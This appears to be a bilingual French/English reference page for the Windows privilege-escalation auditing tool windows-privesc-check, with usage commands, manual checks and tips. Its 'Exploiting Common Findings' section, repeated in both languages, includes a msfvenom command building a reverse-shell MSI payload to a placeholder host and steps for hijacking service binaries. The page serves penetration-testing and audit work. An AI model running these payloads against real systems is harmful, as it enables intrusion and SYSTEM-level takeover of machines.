← retour aux outils back to tools

# windows-privesc-check

Vérificateur d'élévation de privilèges Windows. Scanne un système Windows à la recherche de vecteurs d'élévation de privilèges courants : permissions de service faibles, chemins de service non guillemetés, clés de registre inscriptibles, tâches planifiées et privilèges de token. Windows privilege escalation checker. Scans a Windows system for common privilege escalation vectors — weak service permissions, unquoted service paths, writable registry keys, scheduled tasks, and token privileges.

↗ https://github.com/pentestmonkey/windows-privesc-check

## Overview

windows-privesc-check is a standalone Windows executable that audits a system for privilege escalation vulnerabilities. It checks service binaries, service permissions, registry ACLs, scheduled tasks, startup locations, and more — producing a report of exploitable weaknesses.

## Basic Usage

Run all checks (on Windows target)

    windows-privesc-check2.exe --dump -G

Audit to text file

    windows-privesc-check2.exe --dump -G > privesc_report.txt

Specific checks

    windows-privesc-check2.exe --audit -G

Run as non-admin (shows what’s exploitable from current privilege)

    windows-privesc-check2.exe --dump -a -G

## Key Checks Performed

    # Services with weak binary permissions
    # → Can replace the service executable
    windows-privesc-check2.exe -a --checks services

    # Unquoted service paths
    # → Can drop exe in path before the actual binary
    windows-privesc-check2.exe -a --checks unquoted

    # Writable registry service keys
    # → Can modify ImagePath to point to custom binary
    windows-privesc-check2.exe -a --checks registry

    # Scheduled tasks with weak permissions
    windows-privesc-check2.exe -a --checks scheduled_tasks

    # AlwaysInstallElevated registry key
    windows-privesc-check2.exe -a --checks alwaysinstallelevated

    # Startup folder writability
    windows-privesc-check2.exe -a --checks startup

    # Token privileges
    windows-privesc-check2.exe -a --checks token_privs

## Manual Equivalent Checks

    # Unquoted service paths
    wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v '""'

    # Check service binary permissions
    icacls "C:\Path\To\service.exe"

    # AlwaysInstallElevated
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

    # Check token privileges
    whoami /priv

## Exploiting Common Findings

    # Unquoted service path (e.g., C:\Program Files\My App\service.exe)
    # → Create C:\Program.exe or C:\Program Files\My.exe
    # → Service runs your binary as SYSTEM next restart

    # Weak service binary permissions
    # → Replace service binary with reverse shell
    # → sc stop ServiceName && sc start ServiceName

    # AlwaysInstallElevated
    # → Create MSI payload with msfvenom
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi -o payload.msi
    # → msiexec /quiet /qn /i payload.msi

## Tips

- Use winPEAS for a more comprehensive and frequently updated alternative
- Run as the compromised user — results show what’s exploitable from that privilege level
- Unquoted service paths are very common in enterprise environments
- Prioritize services running as SYSTEM — those are the highest value targets
- Compare findings with PowerUp.ps1 (from PowerSploit) for a second opinion

Help / Man page

    windows-privesc-check2.exe [options]

    --dump      Dump all findings
    --audit     Audit mode (less verbose)
    -G          Generate full report
    -a          All checks
    --checks X  Specific check categories:
                  services, unquoted, registry,
                  scheduled_tasks, startup,
                  alwaysinstallelevated, token_privs

## Vue d’ensemble

windows-privesc-check est un exécutable Windows autonome qui audite un système à la recherche de vulnérabilités d’élévation de privilèges. Il vérifie les binaires de service, les permissions de service, les ACL de registre, les tâches planifiées, les emplacements de démarrage, et plus, en produisant un rapport des faiblesses exploitables.

## Utilisation de base

    # Lancer toutes les vérifications (sur la cible Windows)
    windows-privesc-check2.exe --dump -G

    # Audit vers un fichier texte
    windows-privesc-check2.exe --dump -G > privesc_report.txt

    # Vérifications spécifiques
    windows-privesc-check2.exe --audit -G

    # Lancer en tant qu'utilisateur non administrateur (montre ce qui est
    # exploitable depuis le niveau de privilège actuel)
    windows-privesc-check2.exe --dump -a -G

## Vérifications principales effectuées

    # Services avec des permissions binaires faibles
    # → Peut remplacer l'exécutable du service
    windows-privesc-check2.exe -a --checks services

    # Chemins de service non guillemetés
    # → Peut déposer un exe dans le chemin avant le binaire réel
    windows-privesc-check2.exe -a --checks unquoted

    # Clés de registre de service inscriptibles
    # → Peut modifier ImagePath pour pointer vers un binaire personnalisé
    windows-privesc-check2.exe -a --checks registry

    # Tâches planifiées avec des permissions faibles
    windows-privesc-check2.exe -a --checks scheduled_tasks

    # Clé de registre AlwaysInstallElevated
    windows-privesc-check2.exe -a --checks alwaysinstallelevated

    # Inscriptibilité du dossier de démarrage
    windows-privesc-check2.exe -a --checks startup

    # Privilèges de token
    windows-privesc-check2.exe -a --checks token_privs

## Vérifications manuelles équivalentes

    # Chemins de service non guillemetés
    wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v '""'

    # Vérifier les permissions binaires du service
    icacls "C:\Path\To\service.exe"

    # AlwaysInstallElevated
    reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

    # Vérifier les privilèges de token
    whoami /priv

## Exploiter les découvertes courantes

    # Chemin de service non guillemeté (ex : C:\Program Files\My App\service.exe)
    # → Créer C:\Program.exe ou C:\Program Files\My.exe
    # → Le service exécute votre binaire en tant que SYSTEM au prochain redémarrage

    # Permissions binaires de service faibles
    # → Remplacer le binaire du service par un reverse shell
    # → sc stop ServiceName && sc start ServiceName

    # AlwaysInstallElevated
    # → Créer un payload MSI avec msfvenom
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi -o payload.msi
    # → msiexec /quiet /qn /i payload.msi

## Conseils

- Utiliser winPEAS pour une alternative plus complète et mise à jour plus fréquemment
- Lancer en tant qu’utilisateur compromis : les résultats montrent ce qui est exploitable depuis ce niveau de privilège
- Les chemins de service non guillemetés sont très courants dans les environnements d’entreprise
- Prioriser les services tournant en tant que SYSTEM : ce sont les cibles à plus forte valeur
- Comparer les découvertes avec PowerUp.ps1 (de PowerSploit) pour un second avis

Aide / Page de manuel

    windows-privesc-check2.exe [options]

    --dump      Dump all findings
    --audit     Audit mode (less verbose)
    -G          Generate full report
    -a          All checks
    --checks X  Specific check categories:
                  services, unquoted, registry,
                  scheduled_tasks, startup,
                  alwaysinstallelevated, token_privs